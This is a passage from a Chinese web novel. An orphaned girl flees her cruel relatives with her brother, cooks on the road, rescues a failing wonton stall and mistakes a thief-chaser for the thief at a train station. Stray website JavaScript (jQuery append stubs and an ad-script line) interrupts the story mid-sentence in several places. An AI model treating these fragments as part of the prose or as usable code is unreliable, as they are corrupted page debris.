苏家人又累又饿,再加上到处碰钉子,没多久就回了家。 苏老头连话都懒得说,直接回屋躺下。 马红英一边捶着酸疼的肩膀,一边说:“妈,我们在村里都问过了,没人看见过苏棠,他们俩八成是出村了。” 在村里还好说,出了村子,他们上哪儿找去? 老二苏得贵也说:“俩孩子说不定是玩去了,兴许晚点儿就回来了。” 吃不饱肚子,又是找人又是下地抢收的,就算他是铁打的也挨不住了。 又不是他家孩子,丢了就丢了呗,费那劲干什么? 贾淑琴喝完水,说:“要是晚上还不回来,那八成是去她小姨家了,等忙过这几天,咱们去杏山村打听打听。” 自打苏家老三他们夫妻俩双双去世,苏棠和苏诚几乎就没出过村子,如果他们离开家,那就只能是去李志兰家了。 蔡银花气得要命,可也知道眼下是找不到苏棠和苏诚了。 “真是长本事了,还敢偷我的钱跑?有本事他俩一辈子也别回来,死在外头才好呢!” 蔡银花在家里指天骂地诅咒着苏棠,此刻,姐弟俩已经翻过了第一座山。 走到了这里,苏棠完全不担心苏家人会追过来了。 首先,没人会猜到他们上了山,其次,就算有人看见,现在正赶上秋收,家家户户都忙得冒烟,也没人愿意为了两个没爸妈的孤儿出这个力气。 再说,谁说他们俩就跑路了,都是十几岁的大孩子了,说不定就是上山玩去了呢,谁会费心思花时间去找。 等到苏家人回过神来,意识到他俩是跑了的时候,他们俩早就离石桥村很远了。 虽然吃饱了肚子,可是姐弟俩常年干活又吃不好,身体底子到底差了不少,才爬过一座山就累得够呛。 苏棠抬头看看开始偏西的太阳,说:“歇会儿吧,姐给你弄点吃的。” 听了这话,刚坐下的苏诚又爬了起来。 “姐你身体还没好利索呢,你坐着休息,我去找吃的。” 苏棠没有拒绝他的帮忙,说:“那咱俩分头找,看看附近有什么吃的。” 为了安全起见,两人都没有走远,苏棠让苏诚去旁边林子里看看有没有什么果子之类的,自己则去了山脚的小溪边。 这应该是从山上流下来的泉水,到这里汇聚成了一条缓缓流淌的小溪,苏棠把已经喝光的水壶放在里面灌满,然后在溪边找了块干燥的平地,用几块石头搭了个简易的灶 () { $(''.inform'').remove(); $(''#content'').append('' 。 山上的枯枝树叶随处可见,她抓了几把枯叶,从包袱里拿出火柴,很快就升起了一堆火。 苏棠把水壶放在火堆里煮着,又在火旁堆了几块石头,确定火星不会蔓延开来。 现在正是秋天,要是引起山火可不是闹着玩的。 在火堆里加了几块干透的树枝,她又去了小溪旁。 溪水清澈干净,遗憾的里面却没有鱼虾等物,摸了几个小小的螺丝,看起来也没什么吃头。 就在这时,苏诚的声音从身后传来。 “姐,我采了些蘑菇,你快来看看,这些能不能吃?” 这个时候正是蘑菇的生长期,山脚附近有溪流,又不容易晒到阳光,这里的蘑菇长了不少。 虽然蘑菇很多,但是能不能吃,却需要苏棠来把关。 如果不小心掺了毒蘑菇,那他们姐弟俩就要交待在这儿了。 苏棠走过去翻了翻,不由得高兴起来。 “这些都没毒,而且这几种蘑菇做起来很好吃的,咱们可有口福了!” 听说能吃,苏诚也咧嘴笑了。 姐弟俩把蘑菇摘去根部,放在溪水里洗干净。 这会儿水壶里的水也烧开了,苏诚用树枝把水壶夹出来,放在一旁晾着,苏棠则搬了一块比圆盘大一些的薄薄的石头,冲洗干净,再搭在火堆上。 出门在外没有锅,只能就地取材了。 苏诚捡来树枝烧火,很快石头就被烧得滚热。 苏棠拿出小刀,把腊肠斜切成片,放在石头上。 旺盛的火苗把石头上的腊肠煎得滋滋作响,石板上出现了一层油花。 才采摘下来的蘑菇放在油花中,逐渐变小变软,蘑菇鲜嫩的汁水冒出来,混合着腊肠,那香味别提多鲜美了。 苏棠又把鸡蛋剥皮串在树枝上,掏出一包盐,在鸡蛋上洒了一些,放在火上烤。 苏诚头一次看到这种吃法,一时间看看煎得香气四溢的蘑菇,又看看烤得外皮发焦的鸡蛋,只觉得眼睛都不够用了。 真没想到,没有锅,姐姐也能做出这样香味扑鼻的饭菜来! 很快蘑菇和鸡蛋都熟了,苏棠用石头压灭了火星,招呼苏诚一起吃饭。 酥脆喷香的煎饼,软嫩鲜美的蘑菇,油汪汪的腊肠,咸滋滋香喷喷的烤鸡蛋,再喝一口热乎乎甜丝丝的泉水,苏诚只觉得自己这张嘴都吃不过来了。 如果能天天吃到这样的饭菜,他宁可一辈子住在山里! 苏棠不知道苏诚这个念头,如果她知道苏诚有这个想法,指定要笑出声来。 这才哪儿到哪儿,只要跟着她,保证苏诚以后能吃到更好吃的东西! 山里天黑得早,姐弟俩商量了一下,决定不再连夜赶路,吃过饭就找了个大树,爬上去睡觉了。 地上潮湿,又有蛇虫鼠蚁等物,肯定没有睡树上稳妥。 好在这山里周边有村落人烟,因此山上并没有什么大型野兽,只有松鼠刺猬等小动物,姐弟俩的安全不成问题。 第二天一早,苏棠用水壶煮了点蘑菇汤,跟苏诚就着煎饼鸡蛋腊肠吃了早饭,然后把水壶灌满水,带着苏诚继续爬山。 希望就在眼前,苏棠只觉得浑身都是劲,一路鼓励着苏诚往前走,终于在中午时分下了山。 5. 第005章 鲜肉馄饨 山下这条国道横穿山区,常有村民沿线搭车,压根没人注意姐弟二人。 下午一两点的时候,长途客车路过,苏棠带着苏诚顺利搭上了去县城的汽车。 苏棠花了三块钱买了两张票,和苏诚走到车后面,找了座位坐下。 从苏诚看到苏棠掏钱出来,一直神情十分紧张,等一坐下就小声问她:“姐,你哪来的钱?” 苏家人当然不可能给他们零花钱,苏诚都准备好一路走到省城了,没想到苏棠居然有钱买车票? 苏棠挪了挪身体,给自己找了个更舒适的位置坐好,这才回答苏诚的话。 “从咱奶的钱匣子里拿的啊。” 苏诚听了这话,顿时瞪大了眼睛。 “啥?姐你……你偷了奶奶的钱!?” 苏诚人如其名,性格非常实诚,一听说苏棠偷了蔡银花的钱,满脸都是掩不住的惊恐。 苏棠皱了皱眉,说:“这是咱们自家的钱,怎么能叫偷呢?” 知道这个便宜弟弟心眼实在,苏棠耐心地跟他解释。 “拿了不属于咱们的东西,那才叫偷。可是咱们姓苏啊,是老苏家的人,而且咱们平时在家里干那么多活,苏家的钱,那自然就有咱们一份,所以苏家的钱不就是咱们的钱?” 苏诚听得一脸懵,这几天苏棠总给他讲道理,可是他却越来越听不懂了。 这时候汽车开始加速,山路行车颠簸,苏棠懒得再跟他细说了,索性直接说:“还有,昨天小姨来了,小姨还给咱们拿钱了呢!” 李志兰每年都要来苏家看望苏棠姐弟俩,每次都会送来几十块钱,这事苏诚是知道的。 只不过,这钱是交给蔡银花的,并不是直接给了苏棠。 苏诚没在家,没有亲眼看到李志兰,听苏棠这么说,总算是稍稍放下心来。 只不过,这可是好几十块钱呢,要是奶奶知道了,会不会打姐姐? 想到蔡银花凶神恶煞挥舞着扫帚的样子,苏诚忍不住缩了缩脖子。 不管怎么说,姐姐是无论如何也不能回去了,要不然蔡银花知道姐姐拿了这几十块钱,非得把姐姐打死不可。 走,必须走! 汽车一路翻山越岭,在傍晚时分抵达了县城。 这个时候已经来不及赶火车了,苏棠下了汽车,就去找车站的工作人员打听哪里有旅馆。 得到的结果却让她大失所望,火车站和汽车站相距不远,可是附近的几家招待所和旅馆几乎都是爆满,想住店要么排队,要么花高价。 没办法,这个时候还没有那么多开旅馆的,连首都都有住店难的问题,更别提新台这个小县城了。 苏棠想了想,又问附近的浴池在哪儿。 工作人员给她指了路,苏棠道过谢,带着苏诚往那个方向走去。 她一个十八岁的大姑娘,还带着苏诚,不管露宿街头还是去找地下旅馆都不安全,还不如去住浴池。 很快她就找到了工作人员指给她的大众浴池,只是现在时间还早,浴池还在营业,要过夜只能晚上十点再过来。 出了浴池,天已经黑了,苏棠带着苏诚去隔壁面馆吃了碗面条,姐弟俩去了不远处的公园。 这个时代没有网络手机,老百姓的业余生活却十分丰富,公园里有人唱卡拉ok,有人下棋,有人锻炼身体,比白天还要热闹。 在苏诚的记忆里,这还是他第一次进县城,此刻的他就像刘姥姥进了大观园,一个劲东张西望,只觉得两只眼睛都不够看的了。 凉亭旁边的空地上,几个打扮时髦的年轻人正跟着录音机里的音乐跳舞,时而扭胯,时而拖步,动作夸张又狂野,苏诚看得都迈不动步了。 他只在过年的时候看到过村民扭秧歌,哪里见过这样新奇的舞步。 “姐,他们这是在干什么呢?” 苏棠看了一眼,便兴趣缺缺地移开了目光。 “哦,他们跳迪斯科呢。” “迪斯科……”苏诚小声复述着,眼睛一眨也不眨地盯着那几个人。 苏棠见他看得认真,索性拉他坐下一起看。 等到快九点的时候,公园里的人三三两两走得差不多了,连跳舞的年轻人也走了,苏棠便带着苏诚又回到了浴池。 她买了两张澡票,以及香皂毛巾等物,加上两人过夜的费用,一共花了三块两毛。 苏诚在一边看着,心疼得直吸气。 这一天又是坐车,又是下馆子,又是洗澡过夜的,都花了快十块了。 在苏诚的记忆里,自己长这么大,总共都没花过这么多钱。 苏棠没管他肉疼的表情,把毛巾香皂往他怀里一塞,就推他进了男浴池。 苏诚鼓起勇气说了句“太贵了,我不用洗……”,话没说完就被苏棠怼回去了。 “没看见外面的标语吗?讲卫生光荣,不讲卫生可耻!难道你要这么臭烘烘地去省城见姥姥?” 提到姥姥家,苏诚顿时偃旗息鼓,乖乖进去了。 苏棠也进了女浴池,这时候的浴池是个大开间,墙上是铁灰色的热水管,虽然毫无隐私可言,但是好处是温暖宽敞,不用担心洗澡着凉。 这时候已经很晚了,浴池里几乎没什么人,苏棠独占一个水龙头,痛痛快快地洗了个热水澡,把身上搓得干干净净,只觉得从未有过的神清气爽。 苏棠穿好衣服,去了外间。 这里白天是浴池里修脚和按摩的地方,沿着墙壁放着一溜按摩床和躺椅,晚间工作人员休息了,这些床位就空了出来,可以供人休息。 县城旅馆不好找,来浴池里过夜的人不少,一到十点,就有人进来了。 苏棠和苏诚来得早,先占了角落的位置,苏棠把两张床并在一起,让苏诚睡在外头,自己睡在里面。 来的人形形色色,还有人抽烟和聊天的,苏棠和苏诚折腾了两天,也顾不了那么多了,洗过澡以后浑身放松,很快就睡着了。 次日一早,不到六点,浴池的人就把他们叫醒,让他们出去了。 苏棠洗了把脸,带着苏诚去了火车站。 苏棠到车站买了去省城的车票,开车时间是十点四十,看看车站钟楼上面的大钟,这会儿才六点半。 因为怕误了火车,姐弟俩早饭还没吃,这会儿买过票,苏棠就想找点儿吃的。 清晨的站前街十分热闹,有很多摆摊卖早点的,苏棠看了一圈,觉得要么不好吃,要么不干净,最后在一个馄饨摊前站住了脚。 在一众满是油烟尘土的小摊位里,这个馄饨摊格外显眼。 这是一辆木制的小推车,刷着雪白的油漆,白漆柜子上是红彤彤的四个大字,鲜肉馄饨。 而且这推车跟其他摊位的不一样,上面还扣着擦得锃亮的玻璃外罩,可以隔绝路上的尘土。 不止如此,做馄饨的夫妻俩也都罩着白大褂,看起来干净利索。 在这个年代能有这样的卫生意识,已经很不容易了。 按理说这么醒目又干净的摊位,生意应该很好才是,可是苏棠只扫了一眼,就发现了问题。 摊位旁边支着的几个桌子,完全没有人坐,甚至有感兴趣的路人走过来,一探头就赶紧走了。 原因很简单,这馄饨摊的汤锅冒着腾腾的热气,散发出来的味道却实在让人不敢恭维。 而且那几张桌子上,无一例外都是之前食客剩下的,没吃几口的馄饨碗。 这个时代的人还没忘记艰苦朴素的传统,很少有浪费粮食的现象,能让一众食客剩下这么多的馄饨,肯定非常难吃。 支着馄饨摊位的是夫妻俩,这会儿看着周围摊位都有食客,自己摊前却空无一人,忍不住互相小声埋怨。 “都怪你,你不是说卖馄饨肯定行吗?你看看哪有人买!” “怎么能怪我,是你做的馄饨太难吃了!” “你说啥?有本事你来做啊!” 夫妻俩眼看就要对骂起来,忽然听到一个柔和好听的声音响了起来。 “老板,给我来一碗馄饨。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >一听说有人要买馄饨,两人连忙止住话头,女的立刻动手包馄饨,男的则捅了几下炉子,让汤锅烧得更旺一些。 很快一碗热气腾腾的馄饨端到苏棠面前,苏棠拿起勺子,舀了一个馄饨吹了吹,放进嘴里。 一口下去,苏棠就放下了勺子。 嗯,比想象的更难吃。 做馄饨的夫妻俩好不容易盼来一个顾客,这会儿都眼巴巴地看着苏棠。 见苏棠跟其他食客一样,吃了一口就放下了,那男的就急了。 “小姑娘,你怎么吃一口就不吃了?你多吃点儿啊!” 要是像之前一个脾气暴躁的食客那样,吃一口就破口大骂,最后还甩袖子走人,连馄饨钱都不付,他们可怎么办啊? 苏棠倒是脾气好,看着男人微微一笑。 “这馄饨,你们俩吃过吗?” 听了这话,夫妻俩抢着点头。 “这馅儿我我尝过了呀,不是挺有滋味的吗?” “汤底可是我亲手调的,放了好多海米提鲜呢!” 苏棠忍不住笑了起来:“所谓众口难调,你们都只顾着自己的口味,却掌握不好比例,所以做出来的馄饨才这么难吃。” 夫妻俩虽然急着挣钱,却还是要脸面的,被一个衣着土气的小姑娘这么说,都觉得有点丢脸。 “小丫头,你不爱吃,自然有别人爱吃,可不兴这么寒碜人啊!”男人一脸不满地说。 “就是,你说的倒好听,只怕自己都不会做馄饨吧!” 苏棠拍了拍手,站起身来。 “大哥大姐,这么着吧,你给我预备出十碗馄饨的馅料,汤底也按照我说的做,要是还卖不出去,这十碗馄饨的钱我付给你。” 这时候苏诚刚从前面的摊位买了两个烧饼过来,听到苏棠的话顿时吓了一跳。 “姐,你买那么多馄饨干吗?” 苏棠笑着说:“当然做给你吃啊。” 苏诚信以为真,赶紧说:“我一个人也吃不完十碗啊!” 正说着,他看到苏棠面前剩下那一碗馄饨,连忙说:“姐,你别乱花钱,我吃你剩下的这碗馄饨就行。” 怕苏棠拒绝,他抢先端起碗,舀起馄饨就往嘴里塞。 才嚼了两口,苏诚就满脸苦瓜相。 “姐……那个……我突然觉得不是很饿,我不想吃了。” 这馄饨是什么玩意做出来的,怎么又咸又腥? 接连被两个土包子模样的人嫌弃,夫妻俩也来了火气。 “行啊,小姑娘,这可是你说的,要是不好吃,你可得掏钱买这十碗馄饨!” 苏棠点点头,说:“大姐,劳烦你剁点肉馅。大哥,你把这锅汤倒了……” 夫妻俩堵着一口气,闷不做声地低头干活。 这么个小丫头,只怕连二十岁都不到,口气倒是不小,要是敢砸了他们的买卖,看他们怎么收拾她! 女人把案板敲得梆梆响,很快一小碗肉馅就剁好了。 男人那边则重新烧了一锅水,没多久,水也开了。 “大姐,劳驾让让。” 苏棠拿起擀面杖,站在方才女人站的位置。 行家一出手,就知有没有,在她轻松却娴熟的动作下,一张张薄如蝉翼的馄饨皮从擀面杖底下接连出现,一个个叠放在案板上。 苏棠擀完皮就开始调馅料,女人想看看她都放了什么,却见她动作飞快,这里舀一点,那里抓一点,没多久就和好了肉馅。 接着是包馄饨,这动作就更快了,女人只觉得一眨眼的功夫,案板上就摆了一排排元宝形的馄饨,一个个胖嘟嘟的,十分可爱。 只见苏棠拿起几个碗,行云流水般在里面放了海米、紫菜、葱花、胡椒粉等调料,用煮过馄饨的热水一浇,热气升腾开来,一股鲜香味立刻弥漫了整个馄饨摊。 夫妻俩看得目瞪口呆,苏棠已经端出了两碗馄饨,一碗给苏诚,一碗放在自己面前。 “大哥,大姐,你们也尝尝,算我请你们的。” 6. 第006章 抓小偷 两人你看我,我看你,脸色惊疑不定。 刚才还觉得这小丫头是来捣乱的,可是看人家这手艺,再闻闻这馄饨的香味,他们俩看苏棠的眼神就不一样了。 震惊,疑惑,最后都化为满满的钦佩。 尤其是两人尝了一口苏棠做的馄饨,立刻惊为天人。 “姑娘,这馄饨是怎么做出来的?”女人满脸堆笑,主动凑到苏棠身边。 明明用的是跟她一样的调料,怎么人家调出来的肉馅就这么鲜,这么香? 此刻苏诚早已埋头开吃,刚才自己精挑细选的烧饼,早就被他抛之脑后。 苏棠则小口小口喝着热汤,吃相斯文又秀气。 “也没什么秘诀,就是——” 苏棠的话还没说完,就听见摊位前响起一个声音。 “这馄饨看着不错,老张,咱俩就在这儿吃吧。” 一个穿着干部服,戴着眼镜的中年人走过来,跟另一个夹着包的男人一起,坐在一张桌子旁。 “老弟,过来收拾一下桌子。” 已经半天没生意的男人愣了片刻,才意识到那两人口中的老弟是在喊自己。 他回过神来,赶紧把苏棠做好的馄饨端了两碗过去。 看着两个干部模样的人拿起勺子开始吃,男人不由得面露忐忑。 这馄饨他还没来得及尝,虽然闻着味道挺香,但是吃起来怎么样,他心里还真没底。 只见那个叫老张的男人,吹了吹馄饨就放进嘴里,一下子被烫得直哈气。 馄饨摊老板吓了一跳,手忙脚乱地倒了杯凉开水端过去。 “两位大哥,慢点吃,小心烫。” 却见那老张一边烫得直伸舌头,一边还舍不得把馄饨吐出来,就连说话都含含糊糊的。 “哎呀这馄饨,太鲜了,太好吃了!” 另外一个吸取教训,把馄饨吹凉了才放进口中。 他吃着馄饨,顿时眼睛发亮。 他顾不上说话,直冲馄饨摊老板伸大拇指。 “香,好吃!” 看着两个客人大口大口地吃馄饨,夫妻俩简直不敢相信自己的眼睛。 他们这摊子支了四五天了,还是第一次有人说他们的馄饨好吃! 不过,不是他们做的,是刚才那个小姑娘做的! 夫妻俩回过神来,齐齐将视线移到苏棠身上。 这会儿苏棠已经吃得差不多了,带着苏诚起身,准备离开。 女人一下子急了,直接扑了上去。 “大妹子,你等等!” 男人也着急起来,他不敢像女人那样扑上去,急得直搓手,不知道说什么才好。 “对对,你等等,等会儿啊!” 苏棠微微一怔,伸手就去掏钱。 “哦对了,我还没给钱——” 她话还没说完,就被夫妻俩齐齐打断。 “不,不要钱!” “对对对,不要钱!”女人拉着苏棠的手,生怕她下一秒就要跑了似的,语无伦次地说,“你帮我们做馄饨,不不,你教教我做馄饨,我给你钱!” 说话间,又有几个路人闻着香味过来了,苏棠刚刚做好的几碗馄饨,转眼就被抢购一空。 看到这情形,夫妻俩更着急了,恨不能给苏棠跪下。 他们俩这做馄饨的手艺,一上午都卖不出去十碗馄饨,这才几分钟的功夫,十碗馄饨就没了! 这个小姑娘哪里是来砸场子的,分明是他们的财神爷! 苏棠看着好笑,抬眼看看时间还不到八点,便对女人说:“我一会儿要赶火车,只能帮你做一个小时。” “好,好!”见苏棠答应了,两人忙不迭地点头,“大妹子,我们不白学,你教我一个小时,这期间卖出去的馄饨,钱都给你!” 苏棠没有客气,再次站在馄饨摊前。 不过这次她没有亲自动手,给女人示范了一下和馅跟擀皮,就在一旁出言指导。 授人以鱼不如授人以渔,她就算一个小时不停地做,也做不出多少来,还不如让她来教,女人动手做。 小小的馄饨摊旁边转眼就坐满了顾客,人都有从众心理,看到人多的地方,就会下意识地认为这里的东西肯定很好,所以馄饨还没出锅,就已经有更多的人来排队了。 等到新一锅馄饨出来,又一批食客闻着香味来了。 看到前面顾客一个个吃得赞不绝口,来排队的人越来越多。 馄饨摊案板咚咚响个不停,炉子里的火呼呼燃烧着,将馄饨的鲜香味送得更远。 夫妻俩累得满头大汗,心里却比吃了蜜还要甜。 要是生意能好起来,他们再累也不怕! 随着食客越来越多,有人等得久了,已经饿了,或者觉得只吃馄饨不顶饱,就去旁边摊位买了些吃食。 这下可好,一个小小的馄饨摊,把周边卖烧饼和卖茶叶蛋的摊位全都带起来了,连卖油条的都多卖出去好几筐。 一个小时过去,馄饨摊上原本空空的钱盒子都装得满满的。 苏棠看看时间已经快九点了,就跟夫妻俩又交代了几句注意事项,准备去候车厅了。 夫妻俩对苏棠感激不尽,把钱盒子里的钱全都倒了出来,非要塞给苏棠。 两口子不是那些不懂事的人,是苏棠让他们体会到了挣钱的滋味,还把做馄饨的手艺教给他们,就算是学费,这些钱也远远不够。 苏棠推辞了几句,从里面抓了一把,剩下的到底没要。 她现在不缺钱,做馄饨也是图这里干净,想做给自己和苏诚吃的,至于教夫妻俩手艺,也不过是举手之劳。 摊位炉灰肉馅白面都是人家夫妻俩的,她哪好意思照盘全收。 夫妻俩拗不过她,知道她要赶火车,就去附近摊位买了些烧饼茶叶蛋,塞到苏诚怀里,让他俩坐车的时候吃。 因为苏棠做的馄饨,附近几个摊位生意都跟着好了不少,知道夫妻俩要买东西给苏棠,几个人都半卖半送,还有人特意过来跟苏棠道谢的。 苏棠收下东西,告别众人,带着苏诚进了候车厅。 候车厅里到处都是人,连个空座都找不到,苏棠找到检票口,就在不远处站着,等着一会儿上车。 苏诚吃了一碗馄饨意犹未尽,这会儿打开夫妻俩送的纸包,从里面掏出一个烧饼来。 “姐,你忙了半天了,吃点儿东西吧。” 他现在太佩服姐姐了,吃馄饨不但不用付钱,反倒还挣了那么多钱! 虽然姐姐只拿了一把,可是他看见了,那一把钱至少也有三四十块呢。 苏棠倒不觉得饿,她让苏诚自己吃,然后看了看四周,寻找能灌开水的茶炉。 早上没找到地方灌水,水壶空了,他们一会儿上火车还要喝水的。 苏棠 () { $(''.inform'').remove(); $(''#content'').append('' 看到不远处的开水房,便跟苏诚说让他待在原地等着,自己则拿着水壶去打水。 眼看着就要走到茶房门口,她忽然听到一阵喧闹声。 “抓小偷,抓小偷啊!” 苏棠转过头,看到一个高大的身影朝自己的方向奔了过来,后面还跟着几个神情紧张的人,正一边跑一边大喊着抓小偷。 眼看着男人跑到她身边,她本能地伸出手,一把抓住了那个男人的衬衫。 谁知对方个子太高,她一伸手只够得着抓住他的衣角下摆,那男人跑得又太快,即使被她拉住也来不及收回步子,依旧径直从她身边冲了过去。 电光火石间,只听嗤啦一声,男人身上的衬衫被直接扯开了,黄铜纽扣全都崩开,叮叮当当落了一地。 那男人想是没料到会被人拉住,更没想到衬衫居然被撕扯坏了,下意识地停下了脚步。 苏棠一愣,随即想到这人的衬衫还攥在自己手里,情急之下,她直接往地上一坐。 “抓小偷,快来人啊,别让他跑了!” 以她的小体格,肯定是拉不住这个高个儿男人的,这样坐地上,直接用自己的体重牵绊住对方,那男人想抽身逃跑就不容易了。 男人一个凌厉的眼风看过来,苏棠被他锋芒毕露的眼神吓了一跳,下一秒就毫不示弱地瞪了回去。 长得高就了不起吗?居然还敢瞪她,吓唬谁呢? 等一会儿帽子叔叔过来,看他还能不能这么嚣张! 眼看着人群呼啦啦围上来,男人唇角一挑,伸出一只手,轻轻松松把苏棠从地上提了起来。 “胆可够肥儿的,连我都敢抓?” 男人的手劲儿出奇的大,苏棠使劲挣了几下,却完全挣不开他的掌控。 更要命的是,她这么挣扎了几下,反倒让自己直接贴在了男人的胸前。 此刻男人的衬衫大敞四开,胸腹就这么毫无遮掩地露出来,苏棠情急之下抬手去推他,却刚好摸在他的身上。 哪怕是经历过现代开放的风气,苏棠还是不禁小脸一红。 “你……你放开我,臭流氓!” 男人目光下移,落在她正落在自己身上的双手上。 一只手在上,抵在胸前,一只手在下,按着腹肌。 “丫头,我看你才是耍流氓的那个吧。” 苏棠气恼万分,只觉得脸颊一片滚烫。 谁要摸他了,不是他抓住自己不放的吗? 两人正推搡着,刚才跟着男人跑的几个人快步走了过来。 打头的人是个穿着藏蓝色衬衫的中年男人,奔过来一把抓住了男人的手。 “同志,多亏了你出手啊,要不是你把那小偷堵住,刚才就让他跑了!” 其他从后面跟过来的人也纷纷帮腔。 “这小伙子真勇敢,一听说有小偷,直接就追过去了!” “对对,我们都看见了,要不是他追得小偷慌不择路,警察同志要抓住小偷可就不容易了!” “这位同志真不错,这可是见义勇为啊!” 苏棠听得真真切切,顿时愣住了。 “你……你不是小偷?你是抓小偷的?” 天老爷呀,这是什么大乌龙无语事件?她把抓小偷的人当成小偷了! “你说呢?”眼见她呆呆的看着自己,连手都忘了拿开,男人眉毛一挑,“现在,能放开我了吗?” 7. 第007章 冤家路窄 苏棠回过神来,这才意识到男人早就松开了手。 倒是她没反应过来,手还搁在人家腹肌上不放。 苏棠这回只觉得脸热得都快烧着了,赶紧把手从他身上拿下来,又往后退了两步,恨不能离他远远的。 几个警察已经押着小偷走过来,说了几句感谢男人的话,还询问他的姓名和单位,说要通知单位进行表彰。 男人抖了抖成了开衫的衬衫,低头看了一眼地面。 一片兵荒马乱之中,掉落一地的纽扣早就影踪全无。 没了扣子,他这衬衫想系都系不上。 听到警察的话,他轻笑一声,瞟了苏棠一眼。 “我一个男人抓小偷没什么好说的,倒是这小丫头敢拦住我,勇气实在可嘉,警察同志,还是先表扬她吧!” 男人这话虽然说得冠冕堂皇,可苏棠听在耳朵里却觉得无比别扭。 谁知警察们居然当了真,不但当众表扬苏棠勇敢,还真诚叮嘱她下次遇到这种事情也要注意个人安全。 苏棠闹了个大红脸,恨不能地上有个缝直接钻进去。 警察做过简单的询问,便带着小偷和失主离开了。 围观人群逐渐散去,几个年轻男人从散开的人群后走了过来。 “海峰,没看出来啊,你这听见抓小偷,比抓兔子都积极!” “说什么呢你,狗嘴里吐不出象牙,海峰这是见义勇为,是正义的化身!” 正笑闹着,他们的视线忽然落在这个叫海峰的男人的身前。 下一秒,他们就爆发出一阵大笑。 “你不是抓小偷去了吗?怎么衣服还被扯开了?” “你不会是被小偷非礼了吧?” “这么说,这小偷品味倒是不俗!” 几个年轻人正笑得开心,却在看到海峰黑沉沉的脸色时,笑声不由得低了下去。 “笑够了?” 见他真生气了,几人连忙收起笑容。 “好了好了,哥几个跟你开个玩笑……” “这小偷真不是个东西,打不过就扯人衣服,跟个娘们儿似的!” “对对,你别生气啊,你这可是立了功呢,在咱们兄弟眼里,你绝对是这个!” 看到众人纷纷给自己竖起大拇指,海峰依然面无表情。 “谁说是小偷扯的了?” 几人听了这话,不由得面面相觑。 他刚才不是追小偷去了吗?这衬衫破成这样,不是小偷,还能是谁干的? 看到众人面带疑惑地看着自己,男人哼了一声,冷冷地扫了不远处的苏棠一眼。 “算我倒霉,被一只小野猫抓成这样!” 野猫?! 几个人听得一头雾水,下意识地看了看四周。 人来人往的候车厅,哪儿来的野猫? 苏棠把男人的话听了个一清二楚,气得直磨牙,却不好上去理论。 这事儿本来就是她误会了,再说也是她弄坏了男人的衬衫,他要损自己几句,就叫他说好了。 苏棠狠狠地瞪了男人一眼,就移开了目光。 年轻轻的小伙子,却穿着花里胡哨的衬衫,带破洞的牛仔裤,一看就不像好人,这能怪她误会吗? 这时,一个焦急的声音响了起来。 “姐,姐你在哪儿呢?” 苏棠听出是苏诚的声音,立刻顾不上跟那个男人置气了。 她赶紧往苏诚的方向跑,正好看到满脸担忧的苏诚。 “姐,你没事儿吧?” 刚才抓小偷闹出来的动静不小,苏诚看那边正是开水房的方向,别提有多担心了。 他又牢牢记着苏棠的话,不敢自己乱走,只能踮着脚往那边看。 再后来又听有人喊抓小偷,连警察都过去了,他就更害怕了。 好不容易看到苏棠,苏诚激动得眼泪都快掉下来了。 苏棠摸摸他的头,说:“没事,刚才姐去帮人抓小偷了……” 才提起这件事,她脑海中就浮现出男人那锋利的眉眼。 她不禁皱了皱眉,转移了话题。 “对了,我还没打水呢,你等我一会儿——” 她话没说完,就被苏诚打断。 “我不渴,姐你别走,我……我有点害怕。” 苏诚虽然已经十四岁了,却从没出过这么远的门,刚才又被那乱糟糟的阵势吓了一跳,此刻生怕苏棠离开以后再出什么事。 苏棠没办法,只好陪在他身边。 好在没过多久就开始检票了,苏棠拉着苏诚,从检票口进去,上了站台。 站台上到处是上车和下车的旅客,还有许多摊贩在叫卖各种小吃和地方特产,苏棠顾不上看热闹,拉着苏诚找到一个不那么拥挤的车门,总算上了火车。 因为时间来不及,苏棠只能买当天的站票,不过她不打算找个角落窝大半天,等列车一开动,她就找到列车员,提出补卧铺票的要求。 坐绿皮火车的乘客很多都是短途,就算是长途旅行要在车上过夜,很多人宁可买站票,也舍不得多花钱坐卧铺,所以这时候的卧铺票反而销量不高,经常到列车开动的时候还有剩余。 列车员给苏棠做了排队补票的登记,说如果有空余铺位就会通知她。 苏棠道过谢,跟列车员打听到餐车在七号车厢,就带着苏诚往那边走去。 经过几日的出行,苏诚早已猜到了苏棠的目的,他连劝的话都说不出来,只得捂好自己怀里的烧饼。 姐姐手里有钱,她喜欢吃什么就吃什么吧。 虽然有心理准备,可是到餐车上看到菜品的价格,苏诚还是吓了一跳。 苏棠却眼睛都不眨,点了一份焖排骨,一份海米烧茄子,两碗米饭,还买了两瓶汽水。 坐在铺着雪白桌布的餐桌旁边,窗外是飞逝而过的风景,看着眼前香喷喷的菜肴,苏诚觉得自己的手都不知道往哪放了。 这一刻,他觉得自己就跟做梦似的。 也是这一刻,他终于意识到,他们真的从苏家所在的小村子里走了出来,而列车的目的地,就是他们的姥姥家,省城江阳市。 姐弟俩吃吃喝喝,吃完饭以后又坐了一会儿,列车员找了过来,说有卧铺票了,问他们还 () { $(''.inform'').remove(); $(''#content'').append('' 要不要。 苏棠补上卧铺票的差价,接过车票,让苏诚拿上东西,两人穿过一节节车厢,往卧铺车厢走去。 这两天可把她累坏了,现在吃饱喝足,她只想赶紧躺下,好好地睡一觉。 她走到票面上显示的二号车厢,找到自己和苏诚的卧铺位置。 列车员看他们俩年纪小,特意给他俩办了在同一个通道的两个铺位,一个是七排下铺,一个是八排中铺。 苏棠不放心苏诚一个人在下面,就让他去中铺睡。 她看了看左右,自己这边的上铺和中铺都有人了,苏诚的下铺已经躺了一个年轻男人。 男人用一本《新体育》杂志盖着脸,一双长腿交叠着搭在铺位上,看起来像是睡着了。 姐弟俩一路从餐车挤过来,都有点累,苏棠让苏诚把东西先放在自己这边的下铺,然后开始找位置放东西。 要是按照苏棠的想法,出门最好轻装前行,除了钱什么都不带,可是苏诚却是个节俭的,那日离开石桥村,他背了个小筐,里面放着铁铲和绳子等工具,不管苏棠说什么都不肯扔。 除此之外他还有一个早已看不出颜色的旧挎包,里头不知装了什么,更是被苏诚当成了宝贝,一路护得小心翼翼。 再加上后来在浴池里买的毛巾香皂,以及刚才馄饨摊夫妻俩硬塞的烧饼和茶叶蛋等物,这会儿苏诚身上背的,肩上挎的,怀里抱的,硬是挂了一大堆东西。 